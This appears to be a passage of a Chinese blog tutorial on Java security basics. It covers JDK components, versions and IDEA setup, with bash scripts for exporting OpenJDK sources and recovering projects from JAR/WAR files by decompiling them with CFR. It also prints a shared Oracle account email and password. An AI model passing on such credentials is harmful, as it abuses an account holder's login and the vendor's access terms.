Java 安全基础

sky123

Java 是一种 面向对象的编程语言,由 Sun Microsystems(现在是 Oracle)于 1995 年发布。它是 跨平台 的,可以运行在不同操作系统上,而不需要修改源代码。Java 程序可以通过 JVM(Java Virtual Machine) 在不同平台上运行。

  • 跨平台 :Java 程序经过编译后,会生成与平台无关的字节码(.class 文件),通过 JVM 解释或编译执行。
  • 面向对象 :Java 是一门面向对象的语言,强调封装、继承、多态、抽象等特性。Java 程序是通过 类(Class)对象(Object) 组织的。

Java 中常见的成员标识写法约定如下:

  • . :表示 包名分隔源码/文档里的内部类分隔。例:java.util.MapMap.Entry
  • $ :表示 字节码/反射里的内部类分隔,这是编译产物,源码里一般不用写。例:Map$Entry
  • # :Javadoc 风格的 成员访问符,用来指代类的 方法、构造方法、字段。例:List#addMath#abs(double)System#outArrayList#ArrayList(int)

本质上就这三种符号组合:

  • . → 包/内部类(源码视角)
  • $ → 内部类(JVM视角)
  • # → 成员(方法/构造/字段,Javadoc 视角)

JDK(Java Development Kit)

JDK(Java Development Kit) 是 Java 开发工具包(Java Development Kit),是开发 Java 程序所需的工具集合。JDK 包含了 JRE 和一些用于开发 Java 应用的工具。

JDK 的组成

JRE(Java Runtime Environment)

JRE(Java Runtime Environment)Java 运行时环境,是为 Java 程序的执行提供支持的软件环境。JRE 主要包含了 Java 虚拟机(JVM)和 Java 核心类库,确保 Java 应用程序可以在不同操作系统上无缝运行。

JRE 是 运行 Java 程序 的必需组件,它为开发者提供了一个可以运行 Java 字节码的环境。但它本身不包含开发工具,比如 Java 编译器(javac),因此 JRE 仅适用于运行 Java 程序,而不适用于开发 Java 程序。

Java 虚拟机(JVM)

JVM(Java Virtual Machine) 是 JRE 的核心部分,它负责加载和执行 Java 程序中的字节码。JVM 是 Java 实现 跨平台 的关键,能够在不同的操作系统上执行相同的 Java 程序。JVM 会将 Java 字节码转换成特定平台的机器代码并执行。

JVM 的主要任务包括:

  • 加载字节码:JVM 加载 Java 字节码文件(.class 文件)到内存中。
  • 字节码验证:JVM 验证字节码,确保它符合 JVM 的执行规范。
  • 执行字节码:通过解释执行或即时编译(JIT)将字节码转换为机器码并执行。
  • 内存管理:JVM 负责分配和回收内存,特别是堆内存和栈内存。
  • 垃圾回收:JVM 通过垃圾回收机制自动回收不再使用的对象,以便释放内存。

Java 核心类库(Java Core Libraries)

Java 核心类库是 JRE 的另一个重要组成部分,它包含了 Java 程序运行所需的标准类和 API。核心类库包括以下几个常用的包:

  • java.lang :包括基础类和常用类,如 StringObjectMathSystem 等。
  • java.util :包含集合框架、日期、时间、随机数生成等常用工具类,如 ArrayListHashMapDateCalendar 等。
  • java.io :提供输入输出流类,用于文件操作和数据流处理。
  • java.net :提供网络编程功能,支持 socket 编程、URL 处理等。
  • java.sql :用于数据库访问的标准 API,支持 JDBC。

这些类库提供了 Java 应用程序开发和运行所需的基础功能。

本地接口(JNI)

Java 程序与操作系统和硬件交互时,可能需要调用底层操作系统的功能。JRE 通过 Java 本地接口(JNI,Java Native Interface) 提供与本地代码(如 C 或 C++)的互操作能力。JNI 使得 Java 可以调用平台特定的库,执行操作系统的低级功能。

Java 类加载器(ClassLoader)

JRE 中的 类加载器(ClassLoader) 负责将 Java 类(.class 文件)加载到 JVM 中。类加载器的任务包括:

  • 加载类文件 :JVM 通过类加载器将字节码从硬盘、网络或其他地方加载到内存。
  • 检查类的可用性 :类加载器负责确定类是否已经被加载,避免重复加载。

JRE 提供了几种不同类型的类加载器,分别负责加载不同类型的类,例如启动类加载器(Bootstrap ClassLoader)扩展类加载器(Extension ClassLoader)系统类加载器(System ClassLoader)

Java 开发工具(Java Development Tools)

Java 开发工具是为 Java 开发者提供的,用于支持 代码编写、编译、调试、测试、打包和文档生成等任务。这些工具大多是命令行工具,也可以在集成开发环境(IDE)中找到它们的图形化界面。常见的 Java 开发工具包括 编译器(javac)调试器(jdb)打包工具(jar)文档生成工具(javadoc) 等。

Java 编译器(javac)

javac 是 Java 的编译器,负责将 Java 源代码(.java 文件) 编译成 字节码(.class 文件)。这些字节码是平台无关的,可以在任何安装了 JVM 的平台上运行。

例如我们运行下面这条命令,这会将 HelloWorld.java 编译成 HelloWorld.class 字节码文件。

1
javac HelloWorld.java

在 IDEA 中编译器选项在这里修改:

image-20250218011825051

java 归档工具(jar)

jar 是 Java 的归档工具,用于将多个 .class 文件和其他资源(如配置文件、图片等)打包成一个单一的 JAR 文件,便于分发和部署。JAR 文件可以包含多个类文件和资源文件,并且支持压缩。

例如我们可以通过下面这条命令创建一个简单的 JAR 文件,包含多个 .class 文件:

1
jar cf myapp.jar *.class

这里,c 表示创建,f 表示指定文件名,myapp.jar 是输出的 JAR 文件,*.class 表示要打包的所有类文件。

Java 运行工具(java)

java 是用于运行 Java 程序的工具,它会调用 JRE 中的 Java 虚拟机(JVM)来加载执行 .class 文件。

1
2
java HelloWorld # 并加载 Hello.class 文件来执行程序
java -jar myapp.jar # 运行 JAR 文件

JDK 的版本

Java 语言最初由 Sun Microsystems(后被 Oracle 收购)开发和维护,后来由 Oracle 以及一些开源社区继续维护和更新。由于不同的实现方式、开发目标以及不同的维护模式,产生了多种 JDK 实现

常见 JDK 发行版

Oracle JDK

Oracle JDK 是由 Oracle 提供的官方 Java 实现。它包括了所有的功能和企业级支持,包括商业支持和额外的优化。Oracle JDK 是最广泛使用的 JDK 发行版之一,特别是在企业级应用中。

我们可以在 Oracle JDK官网下载安装历史版本的 Oracle JDK。

Oracle JDK 是 闭源 的,虽然它包含 Java 的完整功能,但对于某些用户(如企业用户)来说,可能需要购买支持和许可证。不过我们通常下载的 JAVA SE 版本,因此只需要登录即可。

Java SE(Java Standard Edition) 是 Java 语言的基础平台,提供了开发和运行桌面应用程序、控制台应用程序、命令行工具和普通应用程序所需要的所有基本类库和 API。

Java EE(Java Enterprise Edition) 是 Java 平台的企业级版本,专门用于开发大型、复杂、分布式的企业级应用程序。它建立在 Java SE 的基础上,并扩展了许多高级功能和 API,适合于开发 Web 应用、分布式系统、大型企业系统等。

Java EE 本身并不是一个独立的开发工具包,而是规范和技术的集合,它需要依赖 JDK 来进行开发和运行。JDK 提供了编译和运行 Java 应用所需要的工具,而 Java EE 则是一个扩展,提供了面向企业的技术和功能。

虽然 Java EE(或 Jakarta EE)提供了很多高级功能,如 EJB(企业级 Java Beans)、JPA(Java 持久化 API)、JMS(Java 消息服务)、JTA(Java 事务 API)等,但这些技术对于大多数 Web 应用来说并不总是必需的。随着 SpringSpring Boot 的流行,很多开发者已经不再依赖传统的 Java EE 容器来开发 Web 应用,而是转向了更加轻量级、灵活的解决方案。也就是说现在的 Web 开发可以脱离传统的 Java EE,而使用 Java SE + Web 框架 + Web 服务器 的模式。

因此我们在研究 Java 安全的时候一般不需要 Java EE 。

关于 Oracle 官网的登录,网上有很多 Oracle 的共享账号,这里提供一个方便下载:

  • 账号:908344069@qq.com
  • 密码:Java_2024

OpenJDK

OpenJDK 是 Java 的开源实现,是由多个开源社区(包括 Oracle)共同开发和维护的 JDK 版本。

“Oracle JDK 是闭源”是个历史印象。早年(JDK6/7/8 的很长一段时间)Oracle JDK里确实带了一些专有/未开源的组件和“商业功能”,而 OpenJDK 完全是 GPLv2 + Classpath Exception 的开源代码;所以大家才把 Oracle JDK 叫“闭源”。
JDK 11 开始,Oracle JDK 与 OpenJDK 在代码上基本等价(核心代码同源),主要区别变成了许可证和支持策略,而不是“有没有源码”。

OpenJDK 是 Java SE 的标准实现,并且是完全开源的,遵循 GNU General Public License(GPL)许可证。它没有 Oracle JDK 中的一些商业功能(如 Java Flight Recorder 等),但对于大多数开发者来说,OpenJDK 足以满足需求。

OpenJDK 是 Java SE 的参考实现,因此任何符合 Java SE 规范的 JDK 实现都可以被称为 “JDK”。多个公司和组织都基于 OpenJDK 提供了不同版本的 JDK,并提供相应的支持。例如:

  • AdoptOpenJDK(现在更名为 Adoptium) :由社区维护的 OpenJDK 构建版本,适用于多种操作系统。
  • Amazon Corretto :亚马逊提供的 OpenJDK 构建,具有长期支持(LTS)版本。
  • Red Hat OpenJDK :由 Red Hat 提供的 OpenJDK 版本,适合企业级应用。

我们下载的 Oracle JDK 只提供了 javajavax 包下的源码,没有 sun 包源码,这时候就需要去 OpenJDK 官网下载 JDK 源码:

如果官网访问不了还何以去 github 下载:

例如我们运行 java -version 后的输出内容如下:

1
2
3
java version "1.8.0_112"
Java(TM) SE Runtime Environment (build 1.8.0_112-b15)
Java HotSpot(TM) 64-Bit Server VM (build 25.112-b15, mixed mode)

那么当前的 JAVA 版本是 8u112-b15,因此我们需要选择对应的 jdk8u112-b15 版本的源码下载。

Oracle 对 8u112 还做过 BPR(Bundled Patch Release),这类补丁版不是公开 GA,而是订阅/支持渠道提供;Oracle 的 8u112 BPR 发布说明里就有“Changes in Java SE 8u112 b32”。这解释了你看到的更高 -bXX 号。

OpenJDK 历史上也对 8u112 分支继续打了多个 tag,例如 .hgtags 中可见 **jdk8u112-b31-b32-b33**;GitHub 的 openjdk/jdk8u 也保留了 jdk8u112-b33 的标签。它们代表在 8u112 线上继续集成的一批修复/合并。

直观理解:

  • jdk8u112-b15 = 8u112 的 GA(和 Oracle 公版对应)。
  • jdk8u112-b31/32/33 = 8u112 分支的后续构建(相当于 BPR/持续 backport),并非“下一个大版本”(那是 8u121)。

点击 zip 下载源码压缩包后,将 sun 目录复制到JDK的安装目录下的 src,IDEA 中 Project Structure->SDKs->SourcePath,添加 src 目录。

高版本 JDK 的目录变了,并且下压缩包不利于离线,一种方法是直接把 jdk8u-devjdk8u 仓库下载到本地,然后导出指定版本的 Java 源码压缩包。

1
2
3
4
5
6
7
8
# 克隆并取全量标签
git clone https://github.com/openjdk/jdk8u-dev.git && cd jdk8u-dev
git fetch --tags --force
# 2) 看看都有哪些 8u 标签(可选)
git tag -l 'jdk8u*-b*' | sort -V | tail

cd .. && git clone https://github.com/openjdk/jdk8u.git && cd jdk8u
git fetch --tags --force
  • jdk8u-dev开发/集成库(development)。新 backport、修复先并到这里,做集成测试、预发。

  • jdk8u稳定/发布库(release)。当某个 update 版本稳定后,从 -dev 迁到这里,作为正式发布基线。

很多 release 标签(比如 jdk8u191-b12)在两个库里都能找到;极少数老/特殊标签可能只在其中一个。

然后根据需求导出指定版本的 JDK 源码目录为 ZIP 压缩包:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
#!/usr/bin/env bash
set -Eeuo pipefail

# --- 参数与默认值(先解析 TAG,再派生 OUT/OUT_TOOLS) ---
TAG_DEFAULT="jdk8u192-b12"
TAG="${1:-${TAG:-$TAG_DEFAULT}}"
OUT="${2:-src-$TAG.zip}"
OUT_TOOLS="${3:-tools-$TAG.zip}"

# --- 临时目录与工作子目录(确保已赋值) ---
# 兼容 macOS: 如果 mktemp -d 不可用,则退回 -t 模式
STAGE="$(mktemp -d 2>/dev/null || mktemp -d -t srczip)"
ROOT="$STAGE/srczip"
TOOLS="$STAGE/toolssrc"
mkdir -p "$ROOT"

cleanup() { rm -rf "$STAGE"; }
trap cleanup EXIT INT TERM

# --- 1) JDK 类库源码(放到根) ---
rsync -a jdk/src/share/classes/ "$ROOT/"
for d in solaris windows macosx bsd linux; do
[ -d "jdk/src/$d/classes" ] && rsync -a "jdk/src/$d/classes/" "$ROOT/"
done

# --- 2) Nashorn 源码(放到根,会得到根下的 jdk/nashorn/**) ---
[ -d "nashorn/src" ] && rsync -a nashorn/src/ "$ROOT/"

# --- 3) (可选)编译器/工具源码,单独一个包 ---
copy_tools=0
if [ -d "langtools/src/share/classes" ]; then
copy_tools=1
mkdir -p "$TOOLS"
rsync -a langtools/src/share/classes/ "$TOOLS/"
fi

# --- 4) 打包到“当前工作目录” ---
is_abs() { case "$1" in /*) return 0 ;; *) return 1 ;; esac; }

# 主包
if is_abs "$OUT"; then
OUT_ABS="$OUT"
else
OUT_ABS="$PWD/$OUT"
fi
mkdir -p "$(dirname "$OUT_ABS")"
( cd "$ROOT" && zip -qr "$OUT_ABS" . )

# 工具包(如果有)
if [ $copy_tools -eq 1 ]; then
if is_abs "$OUT_TOOLS"; then
OUT_TOOLS_ABS="$OUT_TOOLS"
else
OUT_TOOLS_ABS="$PWD/$OUT_TOOLS"
fi
mkdir -p "$(dirname "$OUT_TOOLS_ABS")"
( cd "$TOOLS" && zip -qr "$OUT_TOOLS_ABS" . )
fi

echo "生成:$OUT ← 挂在 IDEA 的 JDK Sources"
if [ $copy_tools -eq 1 ]; then
echo "生成(可选):$OUT_TOOLS ← 挂在 SDK 的 Additional Sources 或单独库"
fi

JDK 的版本号演变

JDK 1.x 阶段(Java 的早期版本)

在这一阶段,Java 的版本号采用的是 1.x 的命名方式。从 JDK 1.0JDK 1.4,每次更新都依赖于 1.x 的版本号来标识,包含了 Java 语言的最初发展和许多核心特性。

  • JDK 1.0 (1996) :Java 的第一个版本,提供了最基本的类库和工具,标志着 Java 语言的正式发布。
  • JDK 1.1 (1997) :增强了 Java 的图形用户界面(GUI)能力,增加了 Java Beans、反射 API、JDBC 等重要功能。
  • JDK 1.2 (1998) :引入了 Java 2 的概念,增强了企业级开发(J2EE)和桌面应用开发(J2SE)支持,支持了集合框架、Swing 等技术。J2EE、J2SE 和 J2ME 架构首次提出。
  • JDK 1.3 (2000) :增加了更多的性能优化,改进了 RMI(远程方法调用)和 CORBA 支持。
  • JDK 1.4 (2002) :引入了正则表达式(regex)、日志 API、NIO(New I/O)等新特性,进一步增强了 Java 在企业级应用中的功能。

Java x 阶段(Java 语言的重大变革)

此阶段的标志是 Java 从 1.x 版本号跳跃至 Java 5(JDK 1.5),进入了语言层面的重大更新。在 Java 5(JDK 1.5) 之后,Java 版本号逐步向更简洁的 Java x 命名方式发展,这也标志着 Java 语言和平台开始与更现代的开发理念接轨。

  • Java 5(JDK 1.5, 2004) :这是 Java 语言的重大更新,引入了泛型、枚举类型、注解、增强的 for 循环等特性。为了突出其重要性,版本号直接跳跃至 Java 5,不再沿用 1.x 的版本号。这一版本的发布使得 Java 在语言层面发生了革命性的变化,正式支持了泛型和注解。
  • Java 6(JDK 1.6, 2006) :改进了性能和 JDK 本身的功能,增强了对编译器和脚本语言的支持,引入了 Java Compiler APIJava Shell
  • Java 7(JDK 1.7, 2011) :引入了 try-with-resources 语法、改进的 I/O(NIO 2)、Switch 支持字符串等新特性,增强了语言和库功能。
  • Java 8(JDK 1.8, 2014) :这一版本非常重要,该版本带来了 Lambda 表达式Stream APIjava.time 日期时间 API 等新特性,开始支持 函数式编程,极大地提高了开发效率。

JDK x 阶段(现代的 JDK 版本)

JDK 9 开始,Java 进入了一个新的发展阶段,采用了更加简洁的版本号,并且开始实行 每六个月发布一个新版本 的计划。JDK 9 引入了 模块化系统(Project Jigsaw),并且进一步加强了语言功能、JVM 性能和标准库。

  • JDK 9(2017) :引入了 模块化系统(Project Jigsaw),允许开发者将应用程序划分为模块,提高了 Java 的灵活性和可维护性。此版本是第一个采用新版本号格式的版本,标志着从 1.x 系列向简化版本号过渡。
  • JDK 10(2018) :引入了 局部变量类型推断(var),增强了 Java 的开发效率,并开始了更频繁的版本发布周期。
  • JDK 11(2018) :这是一个 长期支持(LTS)版本,作为 LTS 版本,JDK 11 被广泛应用于生产环境,并且继续加强了模块化功能。
  • JDK 12、13、14 等(2019-2020) :这些版本主要聚焦于性能改进、垃圾收集器的增强、语言的进一步优化等,继续沿用 JDK x 版本号。
  • JDK 17(2021) :另一个 LTS 版本,在许多企业环境中被广泛使用。该版本提供了更多的语言特性改进、JVM 性能优化和稳定性增强。

在 IDEA 中切换 JDK

切换 Java 开发工具

这里切换的主要是编译 java 文件所依赖的 Java 开发工具。Java 开发工具编译生成的 class 文件在通过 JRE 加载运行时会检查版本,如果版本不匹配通常会有如下报错:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
java.lang.UnsupportedClassVersionError: com/example/Main has been compiled by a more recent version of the Java Runtime (class file version 65.0), this version of the Java Runtime only recognizes class file versions up to 52.0
at java.lang.ClassLoader.defineClass1(Native Method)
at java.lang.ClassLoader.defineClass(ClassLoader.java:760)
at java.security.SecureClassLoader.defineClass(SecureClassLoader.java:142)
at java.net.URLClassLoader.defineClass(URLClassLoader.java:455)
at java.net.URLClassLoader.access$100(URLClassLoader.java:73)
at java.net.URLClassLoader$1.run(URLClassLoader.java:367)
at java.net.URLClassLoader$1.run(URLClassLoader.java:361)
at java.security.AccessController.doPrivileged(Native Method)
at java.net.URLClassLoader.findClass(URLClassLoader.java:360)
at java.lang.ClassLoader.loadClass(ClassLoader.java:424)
at sun.misc.Launcher$AppClassLoader.loadClass(Launcher.java:308)
at java.lang.ClassLoader.loadClass(ClassLoader.java:357)
at sun.launcher.LauncherHelper.checkAndLoadMain(LauncherHelper.java:495)
Exception in thread "main"

提示

JRE 对 Java 开发工具向下兼容,也就是说如果我们用新版的 JRE 加载运行旧版本的 Java 开发工具编译的 class 文件通常不会报错,但反之会出现上述报错。

在 IDEA 中我们通常需要打开 文件 → 项目结构 然后选择所需 Java 开发工具对应的 JDK。

image-20250214011127711

切换 JRE

在 IDEA 中我们通常需要点击 编辑配置...

image-20250214011429725

构建并运行 处选择运行所需的 JRE 对应的 JDK 版本。

image-20250214011347300

提示

通常我们测试 Java 的特性的时候看的就是这里的 Java 版本。

Java 项目分析

Jar 包还原 Java 项目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
#!/usr/bin/env bash
# recover-jar.sh — Universal Java/WAR recovery (generic; online + offline POMs)
# 需求:bash、java,推荐有 jar 或 unzip
set -Eeuo pipefail

### ====== 默认参数 / 可通过环境变量覆盖 ======
JAR_PATH=""
OUTDIR="${OUTDIR:-recover}"
NO_COLOR="${NO_COLOR:-false}"
JAVA_RELEASE="${JAVA_RELEASE:-8}" # 写入 maven-compiler-plugin <release>
GEN_GRADLE_OFFLINE="${GEN_GRADLE_OFFLINE:-false}"
CFR_VER="${CFR_VER:-0.152}"
SKIP_DECOMPILE="${SKIP_DECOMPILE:-false}"
# 系统化前缀:命中这些 groupId 前缀的依赖,即使有坐标,也写成 systemPath,避免远端解析
SYSTEMIZE_PREFIXES="${SYSTEMIZE_PREFIXES:-egovframework.rte,org.egovframe.rte,net.sourceforge.ajaxtags,local.libs}"
# 如果归档内有 POM:主 pom 选择策略:prefer-embedded | auto
POM_MODE="${POM_MODE:-prefer-embedded}"

usage() {
cat <<'U'
Usage:
recover-jar.sh --jar <FILE_or_DIR> [--out DIR] [--no-color]

Options:
--jar PATH 指向 JAR/WAR 文件或已解压的目录
--out DIR 输出目录(默认 recover)
--no-color 关闭彩色输出
-h|--help 帮助

ENV:
JAVA_RELEASE=8|11|17 ...
GEN_GRADLE_OFFLINE=true|false
CFR_VER=0.152
SKIP_DECOMPILE=true|false
SYSTEMIZE_PREFIXES="egovframework.rte,org.egovframe.rte,net.sourceforge.ajaxtags"
POM_MODE=prefer-embedded|auto
U
}

[[ $# -gt 0 ]] || { usage; exit 1; }
while [[ $# -gt 0 ]]; do
case "$1" in
--jar) JAR_PATH="${2:-}"; shift 2;;
--out) OUTDIR="${2:-}"; shift 2;;
--no-color) NO_COLOR=true; shift;;
-h|--help) usage; exit 0;;
*) echo "Unknown arg: $1" >&2; exit 1;;
esac
done
[[ -n "${JAR_PATH}" ]] || { echo "Missing --jar" >&2; exit 1; }

### ====== UI ======
if [[ "${NO_COLOR}" == "true" ]]; then
OK="[*]"; WARN="[!]"; ERR="[-]"
else
OK=$'\033[0;32m[*]\033[0m'; WARN=$'\033[0;33m[!]\033[0m'; ERR=$'\033[0;31m[-]\033[0m'
fi
ok(){ echo -e "${OK} $*"; }
warn(){ echo -e "${WARN} $*"; }
die(){ echo -e "${ERR} $*"; exit 1; }

### ====== 小工具 ======
has(){ command -v "$1" >/dev/null 2>&1; }

abs(){
# 跨平台绝对路径
local p="$1"
if [[ -d "$p" ]]; then
(cd "$p" && pwd -P)
else
local d; d="$(dirname "$p")"; local f; f="$(basename "$p")"
(cd "$d" 2>/dev/null && printf '%s/%s\n' "$(pwd -P)" "$f") || printf '%s\n' "$p"
fi
}

join_by(){ local IFS="$1"; shift; echo "$*"; }

trim(){ printf '%s' "$1" | sed -e 's/^[[:space:]]\+//' -e 's/[[:space:]]\+$//'; }

should_systemize(){
# $1=groupId
local g="$1"
IFS=',' read -r -a pf <<<"$SYSTEMIZE_PREFIXES"
for pre in "${pf[@]}"; do
pre="$(trim "$pre")"
[[ -z "$pre" ]] && continue
if [[ "$g" == "$pre"* ]]; then return 0; fi
done
return 1
}

list_zip(){
# 列出压缩内文件
local f="$1"
if has jar; then jar tf "$f"; else unzip -Z1 "$f"; fi
}

extract_one(){
# 从压缩里提取单个文件到目标(保留目录)
local f="$1" inner="$2" outdir="$3"
if has jar; then
(cd "$outdir" && jar xf "$f" "$inner") || true
else
mkdir -p "$outdir"
unzip -qq "$f" "$inner" -d "$outdir" >/dev/null 2>&1 || true
fi
}

### ====== 路径布局 ======
JAR_ABS="$(abs "${JAR_PATH}")"
OUT_ABS="$(abs "${OUTDIR}")"
STAGE="${OUT_ABS}/.stage"
PROJ="${OUT_ABS}/project"
SRC="${PROJ}/src/main/java"
RES="${PROJ}/src/main/resources"
WEB="${PROJ}/src/main/webapp"
LIB="${PROJ}/lib"
TOOLS="${OUT_ABS}/tools"

rm -rf "${OUT_ABS}"
mkdir -p "${STAGE}" "${SRC}" "${RES}" "${LIB}" "${TOOLS}" "${PROJ}"

has java || die "Need 'java' (JDK) in PATH"

### ====== 解包 ======
if [[ -d "${JAR_ABS}" ]]; then
ok "Use exploded directory"
# 尽量保持符号链接 & 权限
if has rsync; then rsync -a --delete "${JAR_ABS}/" "${STAGE}/"; else cp -R "${JAR_ABS}/." "${STAGE}/"; fi
else
ok "Unpack archive"
cp "${JAR_ABS}" "${STAGE}/app.bin"
(
cd "${STAGE}"
if has jar; then jar xf app.bin || true; else unzip -qq app.bin || true; fi
)
fi

### ====== 归档类型检测 ======
IS_WAR="false"; IS_BOOT="false"
[[ -d "${STAGE}/WEB-INF" ]] && IS_WAR="true"
if [[ -d "${STAGE}/BOOT-INF/classes" && -d "${STAGE}/BOOT-INF/lib" ]]; then IS_BOOT="true"; fi

### ====== 下载 CFR(可选) ======
if [[ "${SKIP_DECOMPILE}" != "true" ]]; then
if [[ ! -f "${TOOLS}/cfr.jar" ]]; then
ok "Download CFR ${CFR_VER}"
if has curl; then curl -fsSL -o "${TOOLS}/cfr.jar" "https://www.benf.org/other/cfr/cfr-${CFR_VER}.jar" || warn "CFR download failed"
elif has wget; then wget -q -O "${TOOLS}/cfr.jar" "https://www.benf.org/other/cfr/cfr-${CFR_VER}.jar" || warn "CFR download failed"
else warn "No curl/wget; skip decompile"; fi
fi
fi

### ====== 反编译(若可) ======
pack_and_decompile(){
local classes_dir="$1"
[[ -d "${classes_dir}" ]] || return 0
[[ -f "${TOOLS}/cfr.jar" ]] || return 0
ok "Decompile ${classes_dir}"
mkdir -p "${STAGE}/tmpc"
(
cd "${classes_dir}"
if has jar; then jar cf "${STAGE}/tmpc/classes-only.jar" .; else zip -qr "${STAGE}/tmpc/classes-only.jar" . >/dev/null; fi
)
java -jar "${TOOLS}/cfr.jar" "${STAGE}/tmpc/classes-only.jar" --outputdir "${SRC}" --silent true >/dev/null 2>&1 || true
}

if [[ "${SKIP_DECOMPILE}" != "true" ]]; then
if [[ "${IS_BOOT}" == "true" ]]; then
pack_and_decompile "${STAGE}/BOOT-INF/classes"
elif [[ "${IS_WAR}" == "true" ]]; then
pack_and_decompile "${STAGE}/WEB-INF/classes"
else
# 尝试找 classes
if [[ -d "${STAGE}/classes" ]]; then
pack_and_decompile "${STAGE}/classes"
else
:
fi
fi
fi

### ====== 资源拷贝(覆盖模板/静态/公共路径) ======
copy_resources_from_root(){
# $1=root(如 BOOT-INF/classes 或 WEB-INF/classes 或 .)
local root="$1"; [[ -d "$root" ]] || return 0
ok "Copy resources from $root"

# Spring Boot 惯例目录
for d in templates static public META-INF/resources; do
if [[ -d "${root}/${d}" ]]; then
mkdir -p "${RES}/${d}"
if has rsync; then rsync -a "${root}/${d}/" "${RES}/${d}/"
else (cd "${root}/${d}" && find . -type f -print0 | while IFS= read -r -d '' f; do mkdir -p "${RES}/${d}/$(dirname "$f")"; cp -f "$f" "${RES}/${d}/$f"; done)
fi
fi
done

# 常见资源后缀(兜底,避免漏掉位于根包里的 html/css/js/图片/字体等)
(
cd "${root}"
find . -type f ! -name '*.class' \
\( -iname '*.properties' -o -iname '*.yml' -o -iname '*.yaml' -o -iname '*.xml' -o -iname '*.json' -o -iname '*.txt' \
-o -iname '*.html' -o -iname '*.htm' -o -iname '*.ftl' -o -iname '*.vm' \
-o -iname '*.jsp' -o -iname '*.jspx' -o -iname '*.tag' -o -iname '*.tld' \
-o -iname '*.css' -o -iname '*.js' -o -iname '*.map' \
-o -iname '*.png' -o -iname '*.jpg' -o -iname '*.jpeg' -o -iname '*.gif' -o -iname '*.svg' -o -iname '*.ico' \
-o -iname '*.woff' -o -iname '*.woff2' -o -iname '*.ttf' -o -iname '*.eot' \
\) -print0 2>/dev/null \
| while IFS= read -r -d '' f; do
# 已经在 templates/static/public/META-INF/resources 的不重复
case "$f" in
./templates/*|./static/*|./public/*|./META-INF/resources/*) : ;;
*)
mkdir -p "${RES}/$(dirname "$f")"
cp -f "$f" "${RES}/${f}"
;;
esac
done
)
}

# WAR:还原到 webapp;同时提取 WEB-INF 除 classes/lib 外的配置/JSP
if [[ "${IS_WAR}" == "true" ]]; then
ok "Copy webapp → ${WEB}"
mkdir -p "${WEB}"
(
cd "${STAGE}"
for d in * .*; do
[[ "$d" == "." || "$d" == ".." || "$d" == "WEB-INF" ]] && continue
[[ -e "$d" ]] || continue
if has rsync; then rsync -a "$d" "${WEB}/" ; else cp -R "$d" "${WEB}/" ; fi
done
)
if [[ -d "${STAGE}/WEB-INF" ]]; then
( cd "${STAGE}/WEB-INF"
for x in * .*; do
[[ "$x" == "." || "$x" == ".." || "$x" == "classes" || "$x" == "lib" ]] && continue
[[ -e "$x" ]] || continue
mkdir -p "${WEB}/WEB-INF"
if has rsync; then rsync -a "$x" "${WEB}/WEB-INF/"; else cp -R "$x" "${WEB}/WEB-INF/"; fi
done
)
fi
# 同时把 WEB-INF/classes 下资源拷到 classpath(一些老项目把 *.properties 放在这)
copy_resources_from_root "${STAGE}/WEB-INF/classes"
else
# 普通 JAR 或 Spring Boot Fat JAR:把类路径资源拷到 src/main/resources
if [[ "${IS_BOOT}" == "true" ]]; then
copy_resources_from_root "${STAGE}/BOOT-INF/classes"
else
# Plain jar:根路径下的资源
copy_resources_from_root "${STAGE}"
fi
fi

### ====== 收集依赖 JAR 到 project/lib ======
ok "Collect libs → ${LIB}"
[[ -d "${STAGE}/BOOT-INF/lib" ]] && cp "${STAGE}/BOOT-INF/lib/"*.jar "${LIB}/" 2>/dev/null || true
[[ -d "${STAGE}/WEB-INF/lib" ]] && cp "${STAGE}/WEB-INF/lib/"*.jar "${LIB}/" 2>/dev/null || true
[[ -d "${STAGE}/lib" ]] && cp "${STAGE}/lib/"*.jar "${LIB}/" 2>/dev/null || true
# 有些打包会把第三方 jar 放在根
